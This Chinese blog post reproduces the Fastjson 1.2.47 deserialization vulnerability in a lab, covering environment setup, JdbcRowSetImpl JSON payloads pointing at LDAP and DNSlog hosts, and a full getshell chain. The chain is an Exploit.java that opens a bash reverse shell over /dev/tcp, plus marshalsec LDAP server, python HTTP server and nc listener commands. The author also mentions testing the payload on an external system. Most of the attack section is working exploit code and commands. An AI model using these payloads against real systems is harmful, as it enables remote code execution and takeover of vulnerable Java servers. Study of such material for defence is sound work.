Fastjson1.2.47反序列化+環境搭建+漏洞復現


       初次接觸Fastjson反序列化漏洞,最新出的1.2.68及繞過文章不太看得懂,有知識斷層。JNDI服務、Ldap協議、rmi協議、Maven項目等等不懂開發,這些都不了解。

找了幾篇看得懂的問題先驗證驗證1.2.47吧。

  在最后反彈shell的時候踩了太多坑,如果有讀者看我文章復現,建議先通讀下文章。

 

一、環境准備

靶機環境:

  系統:win 7 64

  Tomcat:7.0.103

  fastjson:1.2.47

  JDK:1.8.0_181(看了好幾篇文章說復現fastjson和JDK版本有關,防坑)。

  后來這里還是坑了,兩種不同的協議實現反彈shell有如下版本需求,而且最后接收shell的vps的JDK版本要和靶機的版本相近

  RMI < 8u121、LDAP < 8u182(本文復現使用LDAP)

  

 

二、部署

  JDK、Tomcat環境部署不多說了,直接將Fastjson放到Tomcat下的webapps下即可。在別的文章看到的,直接下載https://blog.csdn.net/qq_40989258/article/details/103049474

  Fastjson1.2.47:鏈接: https://pan.baidu.com/s/1C022L851nIkq4zy5hiG_TA&shfl=shareset 提取碼: sven

  

三、POC

  1、用burp抓包,改POST請求,添加參數{"name":"xx","age":"999"},查看返回,服務正常。

  

 

   

  2、利用NC監聽來判斷漏洞是否存在:

    kail:nc -lvpp 1234監聽端口

    POC如下:

{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://自己的ip:1234/Exploit","autoCommit":true}}}

    收到來自靶機的響應,證明漏洞存在。

  

 

   3、利用DNSlog來判斷漏洞是否存在

  {"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://kd00nn.dnslog.cn","autoCommit":true}}}

   

 

   4、外網系統測試

  {"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://if6ooy.dnslog.cn","autoCommit":true}}}

  

 

 

四、getshell

  搞了兩天發現各種環境不合適,JKD版本、系統版本等等,最終版環境如下:

  靶機環境:CenOS 7 x64 、jdk1.8.0_181、apache-tomcat-7.0.105、fastjson1.2.47(關閉Linux防火牆)

  vps環境:kail 、jdk1.8.0_181、python3

  攻擊機:無所謂,burp抓包就行

  靶機ip:192.168.0.118

  vps:192.168.0.110

  1、靶機環境部署

    步驟:安裝JDK——安裝tomcat——fastjson放入tomcat/webapp文件夾下——啟動tomcat——web訪問測試,如下

    工具准備:apache-tomcat-7.0.105.tar.gz、fastjson1.2.47.tar.gz、jdk-8u181-linux-x64.tar.gz

    

    先用linxu管理工具將所需工具拖至opt目錄下:tomcat7、JDK、fastjson

    ——————安裝JDK——————

    tar -zxvf jdk-8u181-linux-x64.tar.gz  //解壓

 

    vi /etc/profile    //編輯環境變量

    在文件最下方直接加入環境變量保持退出

    export JAVA_HOME=/opt/jdk1.8.0_181
    export JRE_HOME=/opt/jdk1.8.0_181/jre
    export CLASSPATH=.:${JAVA_HOME}/jre/lib/rt.jar:${JAVA_HOME}/lib/dt.jar:${JAVA_HOME}/lib/tools.jar
    export PATH=$PATH:${JAVA_HOME}/bin

     

 

     source /etc/profile     //配置生效

     

 

    坑:如果原本就有JDK版本,安裝新版本后修改環境變量即可,方法另行百度

    ——————安裝tomcat及web環境——————

     tar -zxvf apache-tomcat-7.0.105.tar.gz  //解壓tomcat

    mv /apache-tomcat-7.0.105 /tomcat   //重搞一個文件

    chmod -R777 tomcat    //給權限

    tar -zxvf fastjson1.2.47.tar.gz  //解壓fastjson

    mv ./fastjson ./tomcat/webapps  //移動到web服務下

    cd /tomcat/bin    //切如tomcat的bin目錄下

    ./catalina.sh start    //啟動tomcat服務

    如下圖顯示started表示已經啟動成功。

    

 

     訪問ip+8080/fastjson

    

    坑:如果這里訪問不了的話linux關閉防火牆后記得重啟,我是這樣解決的

  2、反彈shell 

    這里就不重復上面驗證是否存在的問題了,如果是第一次搭建,建議先驗證下是否存在。

    步驟:python搭建http服務——marshalsec開啟監聽轉發——nc開啟監聽接收shell——攻擊——反彈成功

    工具准備:Exploit.java、marshalsec-0.0.3-SNAPSHOT-all.jar

    ————exp准備—————

     先上EXP,里面的ip改為接收shell的ip,文件命名為Exploit.java

說明:我這里用的是LDAP協議有的文章踩過坑:"bash -i >& /dev/tcp/xx.xx.xx.xx/10001 0>&1" 反彈不回來shell,rmi的另行百度,乖乖復制下面代碼改ip就好。

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Exploit{
    public Exploit() throws Exception {
        Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/xx.xx.xx.xx/1888;cat <&5 | while read line; do $line 2>&5 >&5; done"});
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));

        String line;
        while((line = reader.readLine()) != null) {
            System.out.println(line);
        }

        p.waitFor();
        is.close();
        reader.close();
        p.destroy();
    }

    public static void main(String[] args) throws Exception {
    }
}

    javac Exploit.java  形成class文件

     

 

     ——————python啟http服務————

    python -m SimpleHTTPServer 8083

    坑:這里千萬千萬要在放着exp的目錄下直接啟動,啟動后訪問下效果如下

    

 

     ——————marshalsec啟動——————

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.0.110:8083/#Exploit 9999 Listening on 0.0.0.0:9999

    坑:端口有些多,有點混亂,跟着復現的直接該ip吧,所有代碼里的ip只涉及到接收shell的IP

    

 

     ——————nc開啟監聽——————

     nc -lvp 1888

    

 

     ——————攻擊————————

   {"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x"{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.0.110:9999/Exploit","autoCommit":true}}}

    

 

     ——————成功接收shell——————

    

 

     這的里坑:只有三處同時間接收到請求並成功響應,大概率就可以返回shell了,還有nc在看到有返回信息的時候,不會顯示shell界面,空白處直接運行命令即可。

 

 總結:看了很多文章,廢了好幾天,踩了很多坑,照貓畫虎的成功復現,但涉及深層次的協議和原理還是不太懂,過陣子閑了試試最新版本1.2.68的復現,跟着了解了解原理。

 

 

參考文章:

https://blog.csdn.net/qq_40989258/article/details/103049474

https://www.cnblogs.com/nul1/p/12747709.html

       


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM